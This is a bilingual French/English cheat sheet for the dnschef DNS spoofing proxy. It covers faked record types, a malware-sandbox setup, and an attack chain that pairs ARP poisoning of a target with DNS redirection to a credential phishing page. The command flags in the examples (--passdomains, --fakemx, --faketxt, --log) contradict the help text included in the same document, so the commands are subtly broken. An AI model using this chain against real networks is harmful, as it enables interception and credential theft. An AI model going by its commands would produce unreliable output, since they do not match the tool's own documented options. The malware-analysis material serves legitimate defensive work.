dnschef
Proxy DNS pour les tests d'intrusion et l'analyse de malware. Intercepte les requêtes DNS et renvoie des réponses personnalisées : redirige les domaines vers des IP contrôlées par l'attaquant. DNS proxy for penetration testing and malware analysis. Intercepts DNS queries and returns custom responses — redirects domains to attacker-controlled IPs.
↗ https://github.com/iphelix/dnschefOverview
dnschef is a fake DNS server (DNS proxy) that allows you to intercept DNS requests and return arbitrary responses. Used in penetration testing to redirect domain lookups to attacker-controlled servers, and in malware analysis to intercept C2 callbacks and analyze malware behavior in a controlled environment.
Basic Usage
Start DNS server, fake all lookups to your IP
dnschef --fakeip 10.10.10.50
Fake specific domain to your IP
dnschef --fakedomains "evil.com" --fakeip 10.10.10.50
Fake all domains except specific ones (pass through)
dnschef --passdomains "google.com,microsoft.com" --fakeip 10.10.10.50
Use specific network interface
dnschef --fakeip 10.10.10.50 -i 0.0.0.0
Specify port (default 53)
dnschef --fakeip 10.10.10.50 -p 53
Fake Specific Record Types
Fake A records only
dnschef --fakeip 10.10.10.50 --fakedomains "target.com"
Fake AAAA (IPv6) records
dnschef --fakeipv6 "fe80::1" --fakedomains "target.com"
Fake MX records (for email interception)
dnschef --fakemx "mail.attacker.com" --fakedomains "corp.com"
Fake NS records
dnschef --fakens "ns.attacker.com" --fakedomains "corp.com"
Fake CNAME
dnschef --fakecname "attacker.com" --fakedomains "cdn.corp.com"
Fake TXT records
dnschef --faketxt "v=spf1 include:attacker.com" --fakedomains "corp.com"
Malware Analysis Setup
# Isolate malware VM, set DNS to analysis host
On analysis host: intercept all malware C2 DNS lookups
dnschef --fakeip 127.0.0.1 -i 0.0.0.0
# Now malware DNS queries return localhost → won't reach C2
# Capture traffic with tcpdump or Wireshark to analyze queries
More detailed: log all queries
dnschef --fakeip 127.0.0.1 --log
Pass through known-good domains, fake rest
dnschef --fakeip 127.0.0.1 \
--passdomains "windowsupdate.com,microsoft.com" \
--log
Combining with Other Attacks
ARP poison target to redirect their DNS to you
arpspoof -i eth0 -t 192.168.1.50 192.168.1.1
Start dnschef to intercept their DNS
dnschef --fakeip 10.10.10.50 -i eth0 --log
# Now target's browser will go to your IP for any domain
# Set up credential phishing page on 10.10.10.50
Configuration File
# Create dnschef.ini for complex configurations
cat > dnschef.ini << 'EOF'
[General]
fakeip=10.10.10.50
log=dnschef.log
[A]
evil.com=10.10.10.50
corp-phishing.com=10.10.10.50
[MX]
corp.com=mail.evil.com
EOF
Run with config file
dnschef --file dnschef.ini
Tips
- Set the target’s DNS server to your IP (via DHCP, ARP poisoning, or direct config)
--logis essential for malware analysis — see exactly what domains malware queries- Pass legitimate update domains through to avoid alerting the malware to the sandbox
- Combine with a web server (Apache, Python http.server) to serve content at the faked IP
Help / Man page
dnschef [options]
-i IP, --interface IP Listen interface (default: 127.0.0.1)
-p PORT, --port PORT Listen port (default: 53)
Fake responses:
--fakeip IP IP to return for A queries
--fakeipv6 IP IPv6 for AAAA queries
--fakemail MAIL MX record response
--fakealias ALIAS CNAME response
--fakens NS NS record response
--faketext TEXT TXT record response
Domain targeting:
--fakedomains DOMAINS Comma-separated domains to fake
--truedomains DOMAINS Pass through these domains (return real)
Proxy:
--nameservers NS Real DNS servers to forward to
--tcp Use TCP instead of UDP
Misc:
--logfile FILE Log file
--quiet Less verbose
Vue d’ensemble
dnschef est un faux serveur DNS (proxy DNS) qui permet d’intercepter les requêtes DNS et de renvoyer des réponses arbitraires. Utilisé en test d’intrusion pour rediriger les résolutions de domaine vers des serveurs contrôlés par l’attaquant, et en analyse de malware pour intercepter les callbacks C2 et analyser le comportement du malware dans un environnement contrôlé.
Utilisation de base
# Démarrer le serveur DNS, falsifier toutes les résolutions vers votre IP
dnschef --fakeip 10.10.10.50
# Falsifier un domaine spécifique vers votre IP
dnschef --fakedomains "evil.com" --fakeip 10.10.10.50
# Falsifier tous les domaines sauf certains (laisser passer)
dnschef --passdomains "google.com,microsoft.com" --fakeip 10.10.10.50
# Utiliser une interface réseau spécifique
dnschef --fakeip 10.10.10.50 -i 0.0.0.0
# Spécifier le port (53 par défaut)
dnschef --fakeip 10.10.10.50 -p 53
Falsifier des types d’enregistrements spécifiques
# Falsifier uniquement les enregistrements A
dnschef --fakeip 10.10.10.50 --fakedomains "target.com"
# Falsifier les enregistrements AAAA (IPv6)
dnschef --fakeipv6 "fe80::1" --fakedomains "target.com"
# Falsifier les enregistrements MX (pour l'interception d'e-mails)
dnschef --fakemx "mail.attacker.com" --fakedomains "corp.com"
# Falsifier les enregistrements NS
dnschef --fakens "ns.attacker.com" --fakedomains "corp.com"
# Falsifier un CNAME
dnschef --fakecname "attacker.com" --fakedomains "cdn.corp.com"
# Falsifier les enregistrements TXT
dnschef --faketxt "v=spf1 include:attacker.com" --fakedomains "corp.com"
Configuration pour l’analyse de malware
# Isoler la VM du malware, définir le DNS vers l'hôte d'analyse
Sur l’hôte d’analyse : intercepter toutes les résolutions DNS C2 du malware
dnschef --fakeip 127.0.0.1 -i 0.0.0.0
# Les requêtes DNS du malware renvoient désormais localhost → n'atteindront pas le C2
# Capturer le trafic avec tcpdump ou Wireshark pour analyser les requêtes
Plus détaillé : logger toutes les requêtes
dnschef --fakeip 127.0.0.1 --log
Laisser passer les domaines légitimes connus, falsifier le reste
dnschef --fakeip 127.0.0.1 \
--passdomains "windowsupdate.com,microsoft.com" \
--log
Combinaison avec d’autres attaques
# ARP poisoning de la cible pour rediriger son DNS vers vous
arpspoof -i eth0 -t 192.168.1.50 192.168.1.1
# Démarrer dnschef pour intercepter son DNS
dnschef --fakeip 10.10.10.50 -i eth0 --log
# Le navigateur de la cible ira désormais vers votre IP pour n'importe quel domaine
# Mettre en place une page de phishing d'identifiants sur 10.10.10.50
Fichier de configuration
# Créer dnschef.ini pour des configurations complexes
cat > dnschef.ini << 'EOF'
[General]
fakeip=10.10.10.50
log=dnschef.log
[A]
evil.com=10.10.10.50
corp-phishing.com=10.10.10.50
[MX]
corp.com=mail.evil.com
EOF
Lancer avec le fichier de configuration
dnschef --file dnschef.ini
Conseils
- Définissez le serveur DNS de la cible vers votre IP (via DHCP, ARP poisoning, ou configuration directe)
--logest essentiel pour l’analyse de malware : voir exactement quels domaines le malware interroge- Laissez passer les domaines de mise à jour légitimes pour éviter d’alerter le malware sur la présence d’un sandbox
- Combinez avec un serveur web (Apache, Python http.server) pour servir du contenu sur l’IP falsifiée
Aide / Page de manuel
dnschef [options]
-i IP, --interface IP Listen interface (default: 127.0.0.1)
-p PORT, --port PORT Listen port (default: 53)
Fake responses:
--fakeip IP IP to return for A queries
--fakeipv6 IP IPv6 for AAAA queries
--fakemail MAIL MX record response
--fakealias ALIAS CNAME response
--fakens NS NS record response
--faketext TEXT TXT record response
Domain targeting:
--fakedomains DOMAINS Comma-separated domains to fake
--truedomains DOMAINS Pass through these domains (return real)
Proxy:
--nameservers NS Real DNS servers to forward to
--tcp Use TCP instead of UDP
Misc:
--logfile FILE Log file
--quiet Less verbose